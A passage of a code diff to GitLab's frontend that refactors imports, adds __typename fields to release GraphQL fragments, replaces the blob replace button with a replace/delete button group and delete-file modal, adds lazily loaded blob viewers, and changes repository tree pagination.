--- a/app/assets/javascripts/related_issues/components/related_issues_list.vue
+++ b/app/assets/javascripts/related_issues/components/related_issues_list.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import Sortable from 'sortablejs';
-import sortableConfig from 'ee_else_ce/sortable/sortable_config';
+import sortableConfig from '~/sortable/sortable_config';
import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
export default {
@@ -102,7 +102,12 @@ export default {
class="related-issues-loading-icon"
data-qa-selector="related_issues_loading_placeholder"
>
- <gl-loading-icon ref="loadingIcon" label="Fetching linked issues" class="gl-mt-2" />
+ <gl-loading-icon
+ ref="loadingIcon"
+ size="sm"
+ label="Fetching linked issues"
+ class="gl-mt-2"
+ />
</div>
<ul ref="list" :class="{ 'content-list': !canReorder }" class="related-items-list">
<li
diff --git a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue b/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
index ccb92d2aedc..6fb1d1ed365 100644
--- a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
+++ b/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
@@ -94,7 +94,7 @@ export default {
</div>
<div>
<div v-if="isFetchingMergeRequests" class="qa-related-merge-requests-loading-icon">
- <gl-loading-icon label="Fetching related merge requests" class="py-2" />
+ <gl-loading-icon size="sm" label="Fetching related merge requests" class="py-2" />
</div>
<ul v-else class="content-list related-items-list">
<li v-for="mr in mergeRequests" :key="mr.id" class="list-item pt-0 pb-0">
diff --git a/app/assets/javascripts/releases/components/app_edit_new.vue b/app/assets/javascripts/releases/components/app_edit_new.vue
index 3774f97a060..39140216bc5 100644
--- a/app/assets/javascripts/releases/components/app_edit_new.vue
+++ b/app/assets/javascripts/releases/components/app_edit_new.vue
@@ -1,8 +1,7 @@
<script>
import { GlButton, GlFormInput, GlFormGroup, GlSprintf } from '@gitlab/ui';
import { mapState, mapActions, mapGetters } from 'vuex';
-import { getParameterByName } from '~/lib/utils/common_utils';
-import { isSameOriginUrl } from '~/lib/utils/url_utility';
+import { isSameOriginUrl, getParameterByName } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import MilestoneCombobox from '~/milestones/components/milestone_combobox.vue';
import { BACK_URL_PARAM } from '~/releases/constants';
diff --git a/app/assets/javascripts/releases/components/app_index.vue b/app/assets/javascripts/releases/components/app_index.vue
index 31d335fa15d..c2c91f406a1 100644
--- a/app/assets/javascripts/releases/components/app_index.vue
+++ b/app/assets/javascripts/releases/components/app_index.vue
@@ -1,7 +1,7 @@
<script>
import { GlEmptyState, GlLink, GlButton } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import ReleaseBlock from './release_block.vue';
import ReleaseSkeletonLoader from './release_skeleton_loader.vue';
diff --git a/app/assets/javascripts/releases/components/app_index_apollo_client.vue b/app/assets/javascripts/releases/components/app_index_apollo_client.vue
index ea0aa409577..f49c44a399f 100644
--- a/app/assets/javascripts/releases/components/app_index_apollo_client.vue
+++ b/app/assets/javascripts/releases/components/app_index_apollo_client.vue
@@ -1,12 +1,12 @@
<script>
import { GlButton } from '@gitlab/ui';
+import allReleasesQuery from 'shared_queries/releases/all_releases.query.graphql';
import createFlash from '~/flash';
-import { historyPushState, getParameterByName } from '~/lib/utils/common_utils';
+import { historyPushState } from '~/lib/utils/common_utils';
import { scrollUp } from '~/lib/utils/scroll_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
+import { setUrlParams, getParameterByName } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import { PAGE_SIZE, DEFAULT_SORT } from '~/releases/constants';
-import allReleasesQuery from '~/releases/graphql/queries/all_releases.query.graphql';
import { convertAllReleasesGraphQLResponse } from '~/releases/util';
import ReleaseBlock from './release_block.vue';
import ReleaseSkeletonLoader from './release_skeleton_loader.vue';
diff --git a/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql b/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
index 3a742db7d9e..3a927dfc756 100644
--- a/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
+++ b/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
@@ -1,4 +1,5 @@
fragment Release on Release {
+ __typename
name
tagName
tagPath
@@ -7,15 +8,20 @@ fragment Release on Release {
createdAt
upcomingRelease
assets {
+ __typename
count
sources {
+ __typename
nodes {
+ __typename
format
url
}
}
links {
+ __typename
nodes {
+ __typename
id
name
url
@@ -26,13 +32,16 @@ fragment Release on Release {
}
}
evidences {
+ __typename
nodes {
+ __typename
filepath
collectedAt
sha
}
}
links {
+ __typename
editUrl
selfUrl
openedIssuesUrl
@@ -42,22 +51,27 @@ fragment Release on Release {
closedMergeRequestsUrl
}
commit {
+ __typename
sha
webUrl
title
}
author {
+ __typename
webUrl
avatarUrl
username
}
milestones {
+ __typename
nodes {
+ __typename
id
title
description
webPath
stats {
+ __typename
totalIssuesCount
closedIssuesCount
}
diff --git a/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql b/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
index 47c5afefd78..75a73acb9ae 100644
--- a/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
+++ b/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
@@ -9,6 +9,7 @@ fragment ReleaseForEditing on Release {
name
url
linkType
+ directAssetPath
}
}
}
diff --git a/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql b/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
index 10e4d883e62..f2d89dbe682 100644
--- a/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
+++ b/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
@@ -1,5 +1,11 @@
#import "../fragments/release.fragment.graphql"
+# This query is identical to
+# `app/graphql/queries/releases/all_releases.query.graphql`.
+# These two queries should be kept in sync.
+# When the `releases_index_apollo_client` feature flag is
+# removed, this query should be removed entirely.
+
query allReleases(
$fullPath: ID!
$first: Int
@@ -9,11 +15,14 @@ query allReleases(
$sort: ReleaseSort
) {
project(fullPath: $fullPath) {
+ __typename
releases(first: $first, last: $last, before: $before, after: $after, sort: $sort) {
+ __typename
nodes {
...Release
}
pageInfo {
+ __typename
startCursor
hasPreviousPage
hasNextPage
diff --git a/app/assets/javascripts/releases/stores/modules/edit_new/actions.js b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
index 5955ec3352e..576f099248e 100644
--- a/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
@@ -165,6 +165,7 @@ const createReleaseLink = async ({ state, link }) => {
name: link.name,
url: link.url,
linkType: link.linkType.toUpperCase(),
+ directAssetPath: link.directAssetPath,
},
},
});
diff --git a/app/assets/javascripts/reports/components/issue_body.js b/app/assets/javascripts/reports/components/issue_body.js
index 56f46a3938e..6014d9d6ad8 100644
--- a/app/assets/javascripts/reports/components/issue_body.js
+++ b/app/assets/javascripts/reports/components/issue_body.js
@@ -1,3 +1,4 @@
+import IssueStatusIcon from '~/reports/components/issue_status_icon.vue';
import AccessibilityIssueBody from '../accessibility_report/components/accessibility_issue_body.vue';
import CodequalityIssueBody from '../codequality_report/components/codequality_issue_body.vue';
import TestIssueBody from '../grouped_test_report/components/test_issue_body.vue';
@@ -13,3 +14,11 @@ export const componentNames = {
CodequalityIssueBody: CodequalityIssueBody.name,
TestIssueBody: TestIssueBody.name,
};
+
+export const iconComponents = {
+ IssueStatusIcon,
+};
+
+export const iconComponentNames = {
+ IssueStatusIcon: IssueStatusIcon.name,
+};
diff --git a/app/assets/javascripts/reports/components/report_item.vue b/app/assets/javascripts/reports/components/report_item.vue
index df20d5c19ba..8871da8fbd7 100644
--- a/app/assets/javascripts/reports/components/report_item.vue
+++ b/app/assets/javascripts/reports/components/report_item.vue
@@ -1,12 +1,16 @@
<script>
-import { components, componentNames } from 'ee_else_ce/reports/components/issue_body';
-import IssueStatusIcon from '~/reports/components/issue_status_icon.vue';
+import {
+ components,
+ componentNames,
+ iconComponents,
+ iconComponentNames,
+} from 'ee_else_ce/reports/components/issue_body';
export default {
name: 'ReportItem',
components: {
- IssueStatusIcon,
...components,
+ ...iconComponents,
},
props: {
issue: {
@@ -19,6 +23,12 @@ export default {
default: '',
validator: (value) => value === '' || Object.values(componentNames).includes(value),
},
+ iconComponent: {
+ type: String,
+ required: false,
+ default: iconComponentNames.IssueStatusIcon,
+ validator: (value) => Object.values(iconComponentNames).includes(value),
+ },
// failed || success
status: {
type: String,
@@ -48,11 +58,12 @@ export default {
class="report-block-list-issue align-items-center"
data-qa-selector="report_item_row"
>
- <issue-status-icon
+ <component
+ :is="iconComponent"
v-if="showReportSectionStatusIcon"
:status="status"
:status-icon-size="statusIconSize"
- class="gl-mr-3"
+ class="gl-mr-2"
/>
<component :is="component" v-if="component" :issue="issue" :status="status" :is-new="isNew" />
diff --git a/app/assets/javascripts/reports/constants.js b/app/assets/javascripts/reports/constants.js
index acd90ebf1b1..7f7ea2adc0e 100644
--- a/app/assets/javascripts/reports/constants.js
+++ b/app/assets/javascripts/reports/constants.js
@@ -16,6 +16,7 @@ export const STATUS_NEUTRAL = 'neutral';
export const ICON_WARNING = 'warning';
export const ICON_SUCCESS = 'success';
export const ICON_NOTFOUND = 'notfound';
+export const ICON_PENDING = 'pending';
export const status = {
LOADING,
diff --git a/app/assets/javascripts/repository/components/blob_button_group.vue b/app/assets/javascripts/repository/components/blob_button_group.vue
new file mode 100644
index 00000000000..273825b996a
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_button_group.vue
@@ -0,0 +1,108 @@
+<script>
+import { GlButtonGroup, GlButton, GlModalDirective } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+import { sprintf, __ } from '~/locale';
+import getRefMixin from '../mixins/get_ref';
+import DeleteBlobModal from './delete_blob_modal.vue';
+import UploadBlobModal from './upload_blob_modal.vue';
+
+export default {
+ i18n: {
+ replace: __('Replace'),
+ replacePrimaryBtnText: __('Replace file'),
+ delete: __('Delete'),
+ },
+ components: {
+ GlButtonGroup,
+ GlButton,
+ UploadBlobModal,
+ DeleteBlobModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ mixins: [getRefMixin],
+ inject: {
+ targetBranch: {
+ default: '',
+ },
+ originalBranch: {
+ default: '',
+ },
+ },
+ props: {
+ name: {
+ type: String,
+ required: true,
+ },
+ path: {
+ type: String,
+ required: true,
+ },
+ replacePath: {
+ type: String,
+ required: true,
+ },
+ deletePath: {
+ type: String,
+ required: true,
+ },
+ canPushCode: {
+ type: Boolean,
+ required: true,
+ },
+ emptyRepo: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ replaceModalId() {
+ return uniqueId('replace-modal');
+ },
+ replaceModalTitle() {
+ return sprintf(__('Replace %{name}'), { name: this.name });
+ },
+ deleteModalId() {
+ return uniqueId('delete-modal');
+ },
+ deleteModalTitle() {
+ return sprintf(__('Delete %{name}'), { name: this.name });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-mr-3">
+ <gl-button-group>
+ <gl-button v-gl-modal="replaceModalId">
+ {{ $options.i18n.replace }}
+ </gl-button>
+ <gl-button v-gl-modal="deleteModalId">
+ {{ $options.i18n.delete }}
+ </gl-button>
+ </gl-button-group>
+ <upload-blob-modal
+ :modal-id="replaceModalId"
+ :modal-title="replaceModalTitle"
+ :commit-message="replaceModalTitle"
+ :target-branch="targetBranch || ref"
+ :original-branch="originalBranch || ref"
+ :can-push-code="canPushCode"
+ :path="path"
+ :replace-path="replacePath"
+ :primary-btn-text="$options.i18n.replacePrimaryBtnText"
+ />
+ <delete-blob-modal
+ :modal-id="deleteModalId"
+ :modal-title="deleteModalTitle"
+ :delete-path="deletePath"
+ :commit-message="deleteModalTitle"
+ :target-branch="targetBranch || ref"
+ :original-branch="originalBranch || ref"
+ :can-push-code="canPushCode"
+ :empty-repo="emptyRepo"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/blob_content_viewer.vue b/app/assets/javascripts/repository/components/blob_content_viewer.vue
index 7fbf331d585..09ac60c94c7 100644
--- a/app/assets/javascripts/repository/components/blob_content_viewer.vue
+++ b/app/assets/javascripts/repository/components/blob_content_viewer.vue
@@ -5,16 +5,19 @@ import BlobContent from '~/blob/components/blob_content.vue';
import BlobHeader from '~/blob/components/blob_header.vue';
import { SIMPLE_BLOB_VIEWER, RICH_BLOB_VIEWER } from '~/blob/components/constants';
import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
import blobInfoQuery from '../queries/blob_info.query.graphql';
-import BlobHeaderEdit from './blob_header_edit.vue';
-import BlobReplace from './blob_replace.vue';
+import BlobButtonGroup from './blob_button_group.vue';
+import BlobEdit from './blob_edit.vue';
+import { loadViewer, viewerProps } from './blob_viewers';
export default {
components: {
BlobHeader,
- BlobHeaderEdit,
- BlobReplace,
+ BlobEdit,
+ BlobButtonGroup,
BlobContent,
GlLoadingIcon,
},
@@ -31,9 +34,12 @@ export default {
this.switchViewer(
this.hasRichViewer && !window.location.hash ? RICH_BLOB_VIEWER : SIMPLE_BLOB_VIEWER,
);
+ if (this.hasRichViewer && !this.blobViewer) {
+ this.loadLegacyViewer();
+ }
},
error() {
- createFlash({ message: __('An error occurred while loading the file. Please try again.') });
+ this.displayError();
},
},
},
@@ -54,9 +60,16 @@ export default {
},
data() {
return {
+ legacyRichViewer: null,
+ isBinary: false,
+ isLoadingLegacyViewer: false,
activeViewerType: SIMPLE_BLOB_VIEWER,
project: {
+ userPermissions: {
+ pushCode: false,
+ },
repository: {
+ empty: true,
blobs: {
nodes: [
{
@@ -77,10 +90,10 @@ export default {
canLock: false,
isLocked: false,
lockLink: '',
- canModifyBlob: true,
forkPath: '',
simpleViewer: {},
richViewer: null,
+ webPath: '',
},
],
},
@@ -90,10 +103,10 @@ export default {
},
computed: {
isLoggedIn() {
- return Boolean(gon.current_user_id);
+ return isLoggedIn();
},
isLoading() {
- return this.$apollo.queries.project.loading;
+ return this.$apollo.queries.project.loading || this.isLoadingLegacyViewer;
},
blobInfo() {
const nodes = this.project?.repository?.blobs?.nodes;
@@ -110,8 +123,30 @@ export default {
hasRenderError() {
return Boolean(this.viewer.renderError);
},
+ blobViewer() {
+ const { fileType } = this.viewer;
+ return loadViewer(fileType);
+ },
+ viewerProps() {
+ const { fileType } = this.viewer;
+ return viewerProps(fileType, this.blobInfo);
+ },
},
methods: {
+ loadLegacyViewer() {
+ this.isLoadingLegacyViewer = true;
+ axios
+ .get(`${this.blobInfo.webPath}?format=json&viewer=rich`)
+ .then(({ data: { html, binary } }) => {
+ this.legacyRichViewer = html;
+ this.isBinary = binary;
+ this.isLoadingLegacyViewer = false;
+ })
+ .catch(() => this.displayError());
+ },
+ displayError() {
+ createFlash({ message: __('An error occurred while loading the file. Please try again.') });
+ },
switchViewer(newViewer) {
this.activeViewerType = newViewer || SIMPLE_BLOB_VIEWER;
},
@@ -121,36 +156,42 @@ export default {
<template>
<div>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<div v-if="blobInfo && !isLoading" class="file-holder">
<blob-header
:blob="blobInfo"
- :hide-viewer-switcher="!hasRichViewer"
+ :hide-viewer-switcher="!hasRichViewer || isBinary"
:active-viewer-type="viewer.type"
:has-render-error="hasRenderError"
@viewer-changed="switchViewer"
>
<template #actions>
- <blob-header-edit
+ <blob-edit
+ v-if="!isBinary"
:edit-path="blobInfo.editBlobPath"
:web-ide-path="blobInfo.ideEditPath"
/>
- <blob-replace
+ <blob-button-group
v-if="isLoggedIn"
:path="path"
:name="blobInfo.name"
:replace-path="blobInfo.replacePath"
- :can-push-code="blobInfo.canModifyBlob"
+ :delete-path="blobInfo.webPath"
+ :can-push-code="project.userPermissions.pushCode"
+ :empty-repo="project.repository.empty"
/>
</template>
</blob-header>
<blob-content
+ v-if="!blobViewer"
+ :rich-viewer="legacyRichViewer"
:blob="blobInfo"
:content="blobInfo.rawTextBlob"
:is-raw-content="true"
:active-viewer="viewer"
:loading="false"
/>
+ <component :is="blobViewer" v-else v-bind="viewerProps" class="blob-viewer" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/repository/components/blob_header_edit.vue b/app/assets/javascripts/repository/components/blob_edit.vue
index 3d97ebe89e4..3d97ebe89e4 100644
--- a/app/assets/javascripts/repository/components/blob_header_edit.vue
+++ b/app/assets/javascripts/repository/components/blob_edit.vue
diff --git a/app/assets/javascripts/repository/components/blob_replace.vue b/app/assets/javascripts/repository/components/blob_replace.vue
deleted file mode 100644
index 91d7811eb6d..00000000000
--- a/app/assets/javascripts/repository/components/blob_replace.vue
+++ /dev/null
@@ -1,75 +0,0 @@
-<script>
-import { GlButton, GlModalDirective } from '@gitlab/ui';
-import { uniqueId } from 'lodash';
-import { sprintf, __ } from '~/locale';
-import getRefMixin from '../mixins/get_ref';
-import UploadBlobModal from './upload_blob_modal.vue';
-
-export default {
- i18n: {
- replace: __('Replace'),
- replacePrimaryBtnText: __('Replace file'),
- },
- components: {
- GlButton,
- UploadBlobModal,
- },
- directives: {
- GlModal: GlModalDirective,
- },
- mixins: [getRefMixin],
- inject: {
- targetBranch: {
- default: '',
- },
- originalBranch: {
- default: '',
- },
- },
- props: {
- name: {
- type: String,
- required: true,
- },
- path: {
- type: String,
- required: true,
- },
- replacePath: {
- type: String,
- required: true,
- },
- canPushCode: {
- type: Boolean,
- required: true,
- },
- },
- computed: {
- replaceModalId() {
- return uniqueId('replace-modal');
- },
- title() {
- return sprintf(__('Replace %{name}'), { name: this.name });
- },
- },
-};
-</script>
-
-<template>
- <div class="gl-mr-3">
- <gl-button v-gl-modal="replaceModalId">
- {{ $options.i18n.replace }}
- </gl-button>
- <upload-blob-modal
- :modal-id="replaceModalId"
- :modal-title="title"
- :commit-message="title"
- :target-branch="targetBranch || ref"
- :original-branch="originalBranch || ref"
- :can-push-code="canPushCode"
- :path="path"
- :replace-path="replacePath"
- :primary-btn-text="$options.i18n.replacePrimaryBtnText"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/download_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/download_viewer.vue
new file mode 100644
index 00000000000..48fa33eb558
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/download_viewer.vue
@@ -0,0 +1,51 @@
+<script>
+import { GlIcon, GlLink } from '@gitlab/ui';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { sprintf, __ } from '~/locale';
+
+export default {
+ components: {
+ GlIcon,
+ GlLink,
+ },
+ props: {
+ fileName: {
+ type: String,
+ required: true,
+ },
+ filePath: {
+ type: String,
+ required: true,
+ },
+ fileSize: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ },
+ computed: {
+ downloadFileSize() {
+ return numberToHumanSize(this.fileSize);
+ },
+ downloadText() {
+ if (this.fileSize > 0) {
+ return sprintf(__('Download (%{fileSizeReadable})'), {
+ fileSizeReadable: this.downloadFileSize,
+ });
+ }
+ return __('Download');
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-text-center gl-py-13 gl-bg-gray-50">
+ <gl-link :href="filePath" rel="nofollow" :download="fileName" target="_blank">
+ <div>
+ <gl-icon :size="16" name="download" class="gl-text-gray-900" />
+ </div>
+ <h4>{{ downloadText }}</h4>
+ </gl-link>
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/empty_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/empty_viewer.vue
new file mode 100644
index 00000000000..53210cbcc93
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/empty_viewer.vue
@@ -0,0 +1,3 @@
+<template>
+ <div class="nothing-here-block">{{ __('Empty file') }}</div>
+</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/index.js b/app/assets/javascripts/repository/components/blob_viewers/index.js
new file mode 100644
index 00000000000..4e16b16041f
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/index.js
@@ -0,0 +1,27 @@
+export const loadViewer = (type) => {
+ switch (type) {
+ case 'empty':
+ return () => import(/* webpackChunkName: 'blob_empty_viewer' */ './empty_viewer.vue');
+ case 'text':
+ return () => import(/* webpackChunkName: 'blob_text_viewer' */ './text_viewer.vue');
+ case 'download':
+ return () => import(/* webpackChunkName: 'blob_download_viewer' */ './download_viewer.vue');
+ default:
+ return null;
+ }
+};
+
+export const viewerProps = (type, blob) => {
+ return {
+ text: {
+ content: blob.rawTextBlob,
+ fileName: blob.name,
+ readOnly: true,
+ },
+ download: {
+ fileName: blob.name,
+ filePath: blob.rawPath,
+ fileSize: blob.rawSize,
+ },
+ }[type];
+};
diff --git a/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue
new file mode 100644
index 00000000000..57fc979a56e
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue
@@ -0,0 +1,25 @@
+<script>
+export default {
+ components: {
+ SourceEditor: () =>
+ import(/* webpackChunkName: 'SourceEditor' */ '~/vue_shared/components/source_editor.vue'),
+ },
+ props: {
+ content: {
+ type: String,
+ required: true,
+ },
+ fileName: {
+ type: String,
+ required: true,
+ },
+ readOnly: {
+ type: Boolean,
+ required: true,
+ },
+ },
+};
+</script>
+<template>
+ <source-editor :value="content" :file-name="fileName" :editor-options="{ readOnly }" />
+</template>
diff --git a/app/assets/javascripts/repository/components/delete_blob_modal.vue b/app/assets/javascripts/repository/components/delete_blob_modal.vue
new file mode 100644
index 00000000000..6599d99d7bd
--- /dev/null
+++ b/app/assets/javascripts/repository/components/delete_blob_modal.vue
@@ -0,0 +1,151 @@
+<script>
+import { GlModal, GlFormGroup, GlFormInput, GlFormTextarea, GlToggle } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { __ } from '~/locale';
+import {
+ SECONDARY_OPTIONS_TEXT,
+ COMMIT_LABEL,
+ TARGET_BRANCH_LABEL,
+ TOGGLE_CREATE_MR_LABEL,
+} from '../constants';
+
+export default {
+ csrf,
+ components: {
+ GlModal,
+ GlFormGroup,
+ GlFormInput,
+ GlFormTextarea,
+ GlToggle,
+ },
+ i18n: {
+ PRIMARY_OPTIONS_TEXT: __('Delete file'),
+ SECONDARY_OPTIONS_TEXT,
+ COMMIT_LABEL,
+ TARGET_BRANCH_LABEL,
+ TOGGLE_CREATE_MR_LABEL,
+ },
+ props: {
+ modalId: {
+ type: String,
+ required: true,
+ },
+ modalTitle: {
+ type: String,
+ required: true,
+ },
+ deletePath: {
+ type: String,
+ required: true,
+ },
+ commitMessage: {
+ type: String,
+ required: true,
+ },
+ targetBranch: {
+ type: String,
+ required: true,
+ },
+ originalBranch: {
+ type: String,
+ required: true,
+ },
+ canPushCode: {
+ type: Boolean,
+ required: true,
+ },
+ emptyRepo: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ loading: false,
+ commit: this.commitMessage,
+ target: this.targetBranch,
+ createNewMr: true,
+ error: '',
+ };
+ },
+ computed: {
+ primaryOptions() {
+ return {
+ text: this.$options.i18n.PRIMARY_OPTIONS_TEXT,
+ attributes: [
+ {
+ variant: 'danger',
+ loading: this.loading,
+ disabled: !this.formCompleted || this.loading,
+ },
+ ],
+ };
+ },
+ cancelOptions() {
+ return {
+ text: this.$options.i18n.SECONDARY_OPTIONS_TEXT,
+ attributes: [
+ {
+ disabled: this.loading,
+ },
+ ],
+ };
+ },
+ showCreateNewMrToggle() {
+ return this.canPushCode && this.target !== this.originalBranch;
+ },
+ formCompleted() {
+ return this.commit && this.target;
+ },
+ },
+ methods: {
+ submitForm(e) {
+ e.preventDefault(); // Prevent modal from closing
+ this.loading = true;
+ this.$refs.form.submit();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal
+ :modal-id="modalId"
+ :title="modalTitle"
+ :action-primary="primaryOptions"
+ :action-cancel="cancelOptions"
+ @primary="submitForm"
+ >
+ <form ref="form" :action="deletePath" method="post">
+ <input type="hidden" name="_method" value="delete" />
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+ <template v-if="emptyRepo">
+ <!-- Once "empty_repo_upload_experiment" is made available, will need to add class 'js-branch-name'
+ Follow-up issue: https://gitlab.com/gitlab-org/gitlab/-/issues/335721 -->
+ <input type="hidden" name="branch_name" :value="originalBranch" />
+ </template>
+ <template v-else>
+ <input type="hidden" name="original_branch" :value="originalBranch" />
+ <!-- Once "push to branch" permission is made available, will need to add to conditional
+ Follow-up issue: https://gitlab.com/gitlab-org/gitlab/-/issues/335462 -->
+ <input v-if="createNewMr" type="hidden" name="create_merge_request" value="1" />
+ <gl-form-group :label="$options.i18n.COMMIT_LABEL" label-for="commit_message">
+ <gl-form-textarea v-model="commit" name="commit_message" :disabled="loading" />
+ </gl-form-group>
+ <gl-form-group
+ v-if="canPushCode"
+ :label="$options.i18n.TARGET_BRANCH_LABEL"
+ label-for="branch_name"
+ >
+ <gl-form-input v-model="target" :disabled="loading" name="branch_name" />
+ </gl-form-group>
+ <gl-toggle
+ v-if="showCreateNewMrToggle"
+ v-model="createNewMr"
+ :disabled="loading"
+ :label="$options.i18n.TOGGLE_CREATE_MR_LABEL"
+ />
+ </template>
+ </form>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/repository/components/table/index.vue b/app/assets/javascripts/repository/components/table/index.vue
index ca5711de49c..69eefc807d7 100644
--- a/app/assets/javascripts/repository/components/table/index.vue
+++ b/app/assets/javascripts/repository/components/table/index.vue
@@ -70,7 +70,7 @@ export default {
);
},
showParentRow() {
- return !this.isLoading && ['', '/'].indexOf(this.path) === -1;
+ return ['', '/'].indexOf(this.path) === -1;
},
},
methods: {
diff --git a/app/assets/javascripts/repository/components/table/row.vue b/app/assets/javascripts/repository/components/table/row.vue
index 62f863db871..82c18d13a6a 100644
--- a/app/assets/javascripts/repository/components/table/row.vue
+++ b/app/assets/javascripts/repository/components/table/row.vue
@@ -186,6 +186,8 @@ export default {
:is="linkComponent"
ref="link"
v-gl-hover-load="handlePreload"
+ v-gl-tooltip:tooltip-container
+ :title="fullPath"
:to="routerLinkTo"
:href="url"
:class="{
diff --git a/app/assets/javascripts/repository/components/tree_content.vue b/app/assets/javascripts/repository/components/tree_content.vue
index 794a8a85cc5..c861fb8dd06 100644
--- a/app/assets/javascripts/repository/components/tree_content.vue
+++ b/app/assets/javascripts/repository/components/tree_content.vue
@@ -1,8 +1,9 @@
<script>
import filesQuery from 'shared_queries/repository/files.query.graphql';
import createFlash from '~/flash';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { __ } from '../../locale';
-import { TREE_PAGE_SIZE, TREE_INITIAL_FETCH_COUNT } from '../constants';
+import { TREE_PAGE_SIZE, TREE_INITIAL_FETCH_COUNT, TREE_PAGE_LIMIT } from '../constants';
import getRefMixin from '../mixins/get_ref';
import projectPathQuery from '../queries/project_path.query.graphql';
import { readmeFile } from '../utils/readme';
@@ -14,7 +15,7 @@ export default {
FileTable,
FilePreview,
},
- mixins: [getRefMixin],
+ mixins: [getRefMixin, glFeatureFlagMixin()],
apollo: {
projectPath: {
query: projectPathQuery,
@@ -36,6 +37,7 @@ export default {
return {
projectPath: '',
nextPageCursor: '',
+ pagesLoaded: 1,
entries: {
trees: [],
submodules: [],
@@ -44,16 +46,28 @@ export default {
isLoadingFiles: false,
isOverLimit: false,
clickedShowMore: false,
- pageSize: TREE_PAGE_SIZE,
fetchCounter: 0,
};
},
computed: {
+ pageSize() {
+ // we want to exponentially increase the page size to reduce the load on the frontend
+ const exponentialSize = (TREE_PAGE_SIZE / TREE_INITIAL_FETCH_COUNT) * (this.fetchCounter + 1);
+ return exponentialSize < TREE_PAGE_SIZE && this.glFeatures.increasePageSizeExponentially
+ ? exponentialSize
+ : TREE_PAGE_SIZE;
+ },
+ totalEntries() {
+ return Object.values(this.entries).flat().length;
+ },
readme() {
return readmeFile(this.entries.blobs);
},
+ pageLimitReached() {
+ return this.totalEntries / this.pagesLoaded >= TREE_PAGE_LIMIT;
+ },
hasShowMore() {
- return !this.clickedShowMore && this.fetchCounter === TREE_INITIAL_FETCH_COUNT;
+ return !this.clickedShowMore && this.pageLimitReached;
},
},
@@ -104,7 +118,7 @@ export default {
if (pageInfo?.hasNextPage) {
this.nextPageCursor = pageInfo.endCursor;
this.fetchCounter += 1;
- if (this.fetchCounter < TREE_INITIAL_FETCH_COUNT || this.clickedShowMore) {
+ if (!this.pageLimitReached || this.clickedShowMore) {
this.fetchFiles();
this.clickedShowMore = false;
}
@@ -127,6 +141,7 @@ export default {
},
handleShowMore() {
this.clickedShowMore = true;
+ this.pagesLoaded += 1;
this.fetchFiles();
},
},
diff --git a/app/assets/javascripts/repository/components/upload_blob_modal.vue b/app/assets/javascripts/repository/components/upload_blob_modal.vue
index 7f065dbdf6d..df5a5ea6163 100644
--- a/app/assets/javascripts/repository/components/upload_blob_modal.vue
+++ b/app/assets/javascripts/repository/components/upload_blob_modal.vue
@@ -17,13 +17,15 @@ import { visitUrl, joinPaths } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import { trackFileUploadEvent } from '~/projects/upload_file_experiment_tracking';
import UploadDropzone from '~/vue_shared/components/upload_dropzone/upload_dropzone.vue';
+import {
+ SECONDARY_OPTIONS_TEXT,
+ COMMIT_LABEL,
